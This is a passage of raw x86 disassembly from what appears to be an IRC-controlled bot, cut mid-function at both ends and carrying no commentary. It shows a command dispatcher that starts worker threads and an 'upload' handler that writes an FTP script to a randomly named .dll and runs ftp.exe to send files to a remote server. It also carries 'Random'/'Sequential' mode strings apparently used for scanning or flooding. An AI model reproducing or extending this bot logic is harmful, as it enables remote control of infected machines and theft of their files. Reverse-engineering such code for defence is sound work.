; ---------------------------------------------------------------------------


loc_406B08:				; CODE XREF: sub_401CC1+4787j
					; sub_401CC1+479Ej ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_B38], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		lea	eax, [ebp+var_BD0]
		push	edi
		push	eax
		call	sub_41B1F0
		push	[ebp+arg_18]
		call	sub_41B3F0
		push	[ebp+arg_0]
		mov	[ebp+var_B50], eax
		call	sub_41B3F0
		push	[ebp+arg_1C]
		mov	[ebp+var_B4C], eax
		call	sub_41B3F0
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_B48], eax
		jz	short loc_406B6D
		push	esi
		call	sub_41B3F0
		pop	ecx
		mov	[ebp+var_B44], eax
		jmp	short loc_406B73
; ---------------------------------------------------------------------------


loc_406B6D:				; CODE XREF: sub_401CC1+4E9Bj
		mov	[ebp+var_B44], ebx


loc_406B73:				; CODE XREF: sub_401CC1+4EAAj
		push	7Fh
		lea	eax, [ebp+var_C50]
		push	[ebp+var_88]
		push	eax
		call	sub_41B1F0
		push	[ebp+var_B48]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_BD0]
		mov	[ebp+var_C54], esi
		push	[ebp+var_B4C]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_B50]
		push	offset unk_444460
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	17h
		push	eax
		call	sub_40A7FD
		add	esp, 30h
		mov	[ebp+var_B40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C54]
		push	ebx
		push	eax
		push	offset sub_4127E1
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_B40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_406C13


loc_406C01:				; CODE XREF: sub_401CC1+4F50j
		cmp	[ebp+var_B34], ebx
		jnz	short loc_406C2E
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_406C01
; ---------------------------------------------------------------------------


loc_406C13:				; CODE XREF: sub_401CC1+4F3Ej
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4444A8


loc_406C1F:				; CODE XREF: sub_401CC1+45F2j
					; sub_401CC1+5A75j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740
		add	esp, 0Ch


loc_406C2E:				; CODE XREF: sub_401CC1+45D6j
					; sub_401CC1+4F46j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_407C50
		push	ebx
		push	[ebp+var_4]


loc_406C3B:				; CODE XREF: sub_401CC1+1E16j
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_407C48
; ---------------------------------------------------------------------------


loc_406C4E:				; CODE XREF: sub_401CC1+4759j
					; sub_401CC1+4770j
		push	0Bh
		call	sub_40AA45
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_41B3F0
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_406E16
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2C0]
		push	offset unk_4442F0
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 20h


loc_406CA0:				; CODE XREF: sub_401CC1+4A2Ej
					; sub_401CC1+4DFEj ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_40207C
		push	[ebp+arg_10]
		push	offset aUpload	; "upload"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408CA1
		push	4
		push	esi
		call	sub_414F2C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406CEB
		push	esi
		push	offset unk_44480C


loc_406CD7:				; CODE XREF: sub_401CC1+6DAEj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		jmp	loc_408A87
; ---------------------------------------------------------------------------


loc_406CEB:				; CODE XREF: sub_401CC1+500Ej
		call	dword_4F1364	; GetTickCount
		push	eax
		call	sub_41B840
		pop	ecx
		call	sub_41B850
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B850
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B850
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_4558]
		push	edx
		push	eax
		lea	eax, [ebp+var_22B0]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_22B0]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B170
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40207C
		push	esi
		push	[ebp+arg_1C]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C1C0
		push	[ebp+arg_24]
		call	sub_418D80
		lea	eax, [ebp+var_22B0]
		push	eax
		lea	eax, [ebp+var_4350]
		push	offset aSS_0	; "-s:%s"
		push	eax
		call	sub_41B740
		add	esp, 2Ch
		lea	eax, [ebp+var_4350]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen_0	; "open"
		push	ebx
		call	dword_4E0818
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_406DB5
		push	offset unk_44487C
		jmp	short loc_406DBA
; ---------------------------------------------------------------------------


loc_406DB5:				; CODE XREF: sub_401CC1+50EBj
		push	offset unk_4448A4


loc_406DBA:				; CODE XREF: sub_401CC1+50F2j
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_406DE3
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 14h


loc_406DE3:				; CODE XREF: sub_401CC1+5104j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41458A


loc_406DEF:				; CODE XREF: sub_401CC1+5153j
		lea	eax, [ebp+var_22B0]
		push	4
		push	eax
		call	sub_414F2C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40207C
		lea	eax, [ebp+var_22B0]
		push	eax
		call	sub_41C150
		jmp	short loc_406DEF
; ---------------------------------------------------------------------------


loc_406E16:				; CODE XREF: sub_401CC1+4FA9j
		push	edi
		call	sub_41B3F0
		push	[ebp+arg_18]
		mov	[ebp+var_370], eax
		call	sub_41B3F0
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B3F0
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_406E4F
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_406E4F:				; CODE XREF: sub_401CC1+5183j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_406E5C
		mov	[ebp+var_36C], ecx


loc_406E5C:				; CODE XREF: sub_401CC1+5193j
		push	[ebp+arg_1C]
		call	sub_41B3F0
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_368], eax
		jbe	short loc_406E7C
		mov	[ebp+var_368], 320h


loc_406E7C:				; CODE XREF: sub_401CC1+51AFj
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_4492A8, ebx
		mov	[ebp+arg_8], ebx
		jz	short loc_406ED2
		mov	[ebp+arg_24], offset dword_4492A8


loc_406E95:				; CODE XREF: sub_401CC1+51F3j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406EB8
		add	[ebp+arg_24], 40h
		inc	[ebp+arg_8]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_406E95
		jmp	short loc_406ED2
; ---------------------------------------------------------------------------


loc_406EB8:				; CODE XREF: sub_401CC1+51E5j
		mov	eax, [ebp+arg_8]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_4492A8[ecx]
		mov	[ebp+var_370], ecx


loc_406ED2:				; CODE XREF: sub_401CC1+51CBj
					; sub_401CC1+51F5j
		cmp	[ebp+var_370], ebx
		jnz	short loc_406EE4
		push	offset unk_444330
		jmp	loc_4068C0
; ---------------------------------------------------------------------------


loc_406EE4:				; CODE XREF: sub_401CC1+5217j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_406F1F
		cmp	byte ptr [edi],	23h
		jz	short loc_406F1F
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B910
		push	78h
		push	edi
		call	sub_41C400
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_406FF9
; ---------------------------------------------------------------------------


loc_406F1F:				; CODE XREF: sub_401CC1+522Cj
					; sub_401CC1+5231j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_406F41
		cmp	[ebp+var_8FE], bl
		jnz	short loc_406F41
		cmp	[ebp+var_8EE], bl
		jnz	short loc_406F41
		push	offset unk_444364
		jmp	loc_4068C0
; ---------------------------------------------------------------------------


loc_406F41:				; CODE XREF: sub_401CC1+5264j
					; sub_401CC1+526Cj ...
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4E0848
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B1F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_406FF3
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41C290
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_406FE7


loc_406FC5:				; CODE XREF: sub_401CC1+5324j
		cmp	eax, ebx
		jz	short loc_406FE7
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41C290
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_406FC5


loc_406FE7:				; CODE XREF: sub_401CC1+5302j
					; sub_401CC1+5306j
		mov	[ebp+var_344], 1
		jmp	short loc_406FF9
; ---------------------------------------------------------------------------


loc_406FF3:				; CODE XREF: sub_401CC1+52DCj
		mov	[ebp+var_344], ebx


loc_406FF9:				; CODE XREF: sub_401CC1+5259j
					; sub_401CC1+5330j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B910
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40704A


loc_407037:				; CODE XREF: sub_401CC1+53ACj
		push	esi


loc_407038:				; CODE XREF: sub_401CC1+5396j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B910
		add	esp, 0Ch
		jmp	short loc_407075
; ---------------------------------------------------------------------------


loc_40704A:				; CODE XREF: sub_401CC1+5374j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407059
		cmp	byte ptr [eax],	23h
		jnz	short loc_407059
		push	eax
		jmp	short loc_407038
; ---------------------------------------------------------------------------


loc_407059:				; CODE XREF: sub_401CC1+538Ej
					; sub_401CC1+5393j
		mov	esi, offset aXx_0 ; "#xx#"
		push	offset dword_4E076C
		push	esi
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407037
		mov	[ebp+var_3F4], bl


loc_407075:				; CODE XREF: sub_401CC1+5387j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom_1 ;	"Random"
		jnz	short loc_407087
		mov	eax, offset aSequential_0 ; "Sequential"


loc_407087:				; CODE XREF: sub_401CC1+53BFj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_4443AC
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40A7FD
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset sub_40BC04
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_407115


loc_4070FF:				; CODE XREF: sub_401CC1+5452j
		cmp	[ebp+var_340], ebx
		jnz	loc_407C2F
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_4070FF
; ---------------------------------------------------------------------------


loc_407115:				; CODE XREF: sub_401CC1+543Cj
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_444414
		jmp	loc_4068A7
; ---------------------------------------------------------------------------


loc_407126:				; CODE XREF: sub_401CC1+472Bj
					; sub_401CC1+4742j
		push	edi
		call	sub_409EFD
		push	[ebp+arg_18]
		mov	[ebp+var_4E0], eax
		call	sub_41B3F0
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B3F0
		push	[ebp+arg_1C]
		mov	[ebp+var_4EC], eax
		call	sub_41B3F0
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B1F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_444258
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40A7FD
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset sub_40C021
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_40721B


loc_407205:				; CODE XREF: sub_401CC1+5558j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403ACC
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_407205
; ---------------------------------------------------------------------------


loc_40721B:				; CODE XREF: sub_401CC1+5542j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4442A8
		jmp	loc_403ABD
; ---------------------------------------------------------------------------


loc_40722C:				; CODE XREF: sub_401CC1+46EEj
					; sub_401CC1+4705j
		push	edi
		call	sub_41B3F0
		imul	eax, 234h
		pop	ecx
		cmp	byte_4537E0[eax], bl
		jz	loc_408CA1
		cmp	[ebp+var_C], ebx
		jz	loc_408CA1
		push	[ebp+arg_18]
		call	sub_418D00
		push	edi
		mov	esi, eax
		call	sub_418D00
		push	[ebp+arg_10]
		add	esi, eax
		call	sub_418D00
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B890
		mov	esi, eax
		lea	eax, [ebp+var_2C0]
		push	esi
		push	offset dword_44422C
		push	eax
		call	sub_41B740
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_408CA1
		push	edi
		call	sub_41B3F0
		test	eax, eax
		pop	ecx
		jle	loc_408CA1
		push	edi
		call	sub_41B3F0
		cmp	eax, 400h
		pop	ecx
		jge	loc_408CA1
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41B3F0
		imul	eax, 234h
		pop	ecx
		push	dword_4537D4[eax]
		call	sub_408EB9
		push	edi
		call	sub_41B3F0
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_4535C8[eax], 73h
		jnz	loc_408CA1
		push	esi
		push	edi
		call	sub_41B3F0
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4537E0
		push	eax
		push	[ebp+arg_18]
		push	offset dword_444238


loc_407314:				; CODE XREF: sub_401CC1+574Dj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		jmp	loc_403DD2
; ---------------------------------------------------------------------------


loc_40733E:				; CODE XREF: sub_401CC1+46C0j
					; sub_401CC1+46D7j
		push	edi
		call	sub_41B3F0
		imul	eax, 234h
		pop	ecx
		cmp	byte_4537E0[eax], bl
		jz	loc_408CA1
		cmp	[ebp+var_C], ebx
		jz	loc_408CA1
		push	[ebp+arg_18]
		call	sub_418D00
		push	edi
		mov	esi, eax
		call	sub_418D00
		push	[ebp+arg_10]
		add	esi, eax
		call	sub_418D00
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B890
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_408CA1
		push	edi
		call	sub_41B3F0
		test	eax, eax
		pop	ecx
		jle	loc_408CA1
		push	edi
		call	sub_41B3F0
		cmp	eax, 400h
		pop	ecx
		jge	loc_408CA1
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41B3F0
		imul	eax, 234h
		pop	ecx
		push	dword_4537D4[eax]
		call	sub_408EB9
		push	edi
		call	sub_41B3F0
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_4535C8[eax], 73h
		jnz	loc_408CA1
		push	esi
		push	edi
		call	sub_41B3F0
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4537E0
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS	; "[%s]	<%s> %s"
		jmp	loc_407314
; ---------------------------------------------------------------------------


loc_407413:				; CODE XREF: sub_401CC1+4692j
					; sub_401CC1+46A9j
		push	edi
		call	dword_4E08DC
		push	[ebp+arg_18]
		mov	[ebp+var_680], eax
		call	sub_41B3F0
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B3F0
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B1F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_444184
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40A7FD
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset sub_40BF30
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_4074F5


loc_4074DF:				; CODE XREF: sub_401CC1+5832j
		cmp	[ebp+var_670], ebx
		jnz	loc_403ACC
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_4074DF
; ---------------------------------------------------------------------------


loc_4074F5:				; CODE XREF: sub_401CC1+581Cj
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4441C0
		jmp	loc_403ABD
; ---------------------------------------------------------------------------


loc_407506:				; CODE XREF: sub_401CC1+4664j
					; sub_401CC1+467Bj
		push	edi
		call	sub_41B3F0
		push	7Fh
		mov	[ebp+var_ED8], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_FDC]
		push	eax
		call	sub_41B1F0
		push	[ebp+arg_0]
		call	sub_41B3F0
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_EDC], eax
		lea	eax, [ebp+var_F5C]
		push	80h
		push	eax
		mov	[ebp+var_FE4], esi
		call	sub_41B910
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_EC8], eax
		push	[ebp+var_EDC]
		lea	eax, [ebp+var_FDC]
		mov	[ebp+var_ECC], edi
		push	eax
		push	[ebp+var_ED8]
		push	esi
		call	sub_40A019
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_4440F8
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	18h
		push	eax
		call	sub_40A7FD
		add	esp, 24h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FE4]
		push	ebx
		push	eax
		push	offset sub_40FEBC
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_4075EF


loc_4075D9:				; CODE XREF: sub_401CC1+592Cj
		cmp	[ebp+var_EC4], ebx
		jnz	loc_403ACC
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_4075D9
; ---------------------------------------------------------------------------


loc_4075EF:				; CODE XREF: sub_401CC1+5916j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_444134
		jmp	loc_403ABD
; ---------------------------------------------------------------------------


loc_407600:				; CODE XREF: sub_401CC1+4636j
					; sub_401CC1+464Dj
		push	0FFh
		lea	eax, [ebp+var_2128]
		push	edi
		push	eax
		call	sub_41B1F0
		push	0FFh
		lea	eax, [ebp+var_2028]
		push	[ebp+arg_18]
		push	eax
		call	sub_41B1F0
		push	[ebp+arg_0]
		mov	[ebp+var_1F24],	ebx
		call	sub_41B3F0
		mov	[ebp+var_1F20],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407659
		push	10h
		push	ebx
		push	eax
		call	sub_41C130
		add	esp, 0Ch
		mov	[ebp+var_1F18],	eax
		jmp	short loc_40765F
; ---------------------------------------------------------------------------


loc_407659:				; CODE XREF: sub_401CC1+5982j
		mov	[ebp+var_1F18],	ebx


loc_40765F:				; CODE XREF: sub_401CC1+5996j
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407676
		push	esi
		call	sub_41B3F0
		pop	ecx
		mov	[ebp+var_1F1C],	eax
		jmp	short loc_40767C
; ---------------------------------------------------------------------------


loc_407676:				; CODE XREF: sub_401CC1+59A4j
		mov	[ebp+var_1F1C],	ebx


loc_40767C:				; CODE XREF: sub_401CC1+59B3j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_1F14],	eax
		lea	eax, [ebp+var_21A8]
		mov	[ebp+var_21AC],	esi
		push	eax
		call	sub_41B1F0
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_1F0C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F10],	eax
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset unk_44407C
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_2C0]
		push	1Dh
		push	eax
		call	sub_40A7FD
		add	esp, 28h
		mov	[ebp+var_1F28],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_21AC]
		push	ebx
		push	eax
		push	offset sub_414A1D
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_1F28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_40772A


loc_407714:				; CODE XREF: sub_401CC1+5A67j
		cmp	[ebp+var_1F08],	ebx
		jnz	loc_406C2E
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_407714
; ---------------------------------------------------------------------------


loc_40772A:				; CODE XREF: sub_401CC1+5A51j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4440A8
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_40773B:				; CODE XREF: sub_401CC1+4608j
					; sub_401CC1+461Fj
		push	7Fh
		lea	eax, [ebp+var_2DA0]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B1F0
		push	esi
		lea	eax, [ebp+var_2D20]
		push	[ebp+arg_18]
		push	eax
		call	sub_41B1F0
		push	esi
		lea	eax, [ebp+var_2CA0]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B1F0
		push	esi
		lea	eax, [ebp+var_2C20]
		push	[ebp+var_88]
		push	eax
		call	sub_41B1F0
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2B9C],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2B98],	eax
		lea	eax, [ebp+var_2C0]
		push	edi
		push	offset unk_443FF8
		push	eax
		mov	[ebp+var_2DA4],	esi
		call	sub_41B740
		add	esp, 44h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	12h
		push	eax
		call	sub_40A7FD
		add	esp, 0Ch
		mov	[ebp+var_2BA0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2DA4]
		push	ebx
		push	eax
		push	offset sub_413E60
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_2BA0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_407812


loc_4077FC:				; CODE XREF: sub_401CC1+5B4Fj
		cmp	[ebp+var_2B94],	ebx
		jnz	loc_406C2E
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_4077FC
; ---------------------------------------------------------------------------


loc_407812:				; CODE XREF: sub_401CC1+5B39j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_444034
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_407823:				; CODE XREF: sub_401CC1+44DBj
					; sub_401CC1+44F2j
		push	7Fh
		lea	eax, [ebp+var_2B8C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B1F0
		push	esi
		lea	eax, [ebp+var_2B0C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41B1F0
		push	esi
		lea	eax, [ebp+var_2A8C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B1F0
		push	esi
		lea	eax, [ebp+var_2A0C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B1F0
		mov	eax, [ebp+var_4]
		push	[ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2988],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2984],	eax
		lea	eax, [ebp+var_2C0]
		push	edi
		push	offset unk_443F08
		push	eax
		mov	[ebp+var_2B90],	esi
		call	sub_41B740
		add	esp, 44h
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	0Eh
		push	eax
		call	sub_40A7FD
		add	esp, 0Ch
		mov	[ebp+var_298C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2B90]
		push	ebx
		push	eax
		push	offset sub_412B9A
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_298C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_4078FA


loc_4078E4:				; CODE XREF: sub_401CC1+5C37j
		cmp	[ebp+var_2980],	ebx
		jnz	loc_406C2E
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_4078E4
; ---------------------------------------------------------------------------


loc_4078FA:				; CODE XREF: sub_401CC1+5C21j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_443F38
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_40790B:				; CODE XREF: sub_401CC1+43B2j
					; sub_401CC1+43C9j ...
		push	7Fh
		lea	eax, [ebp+var_33E0]
		pop	esi
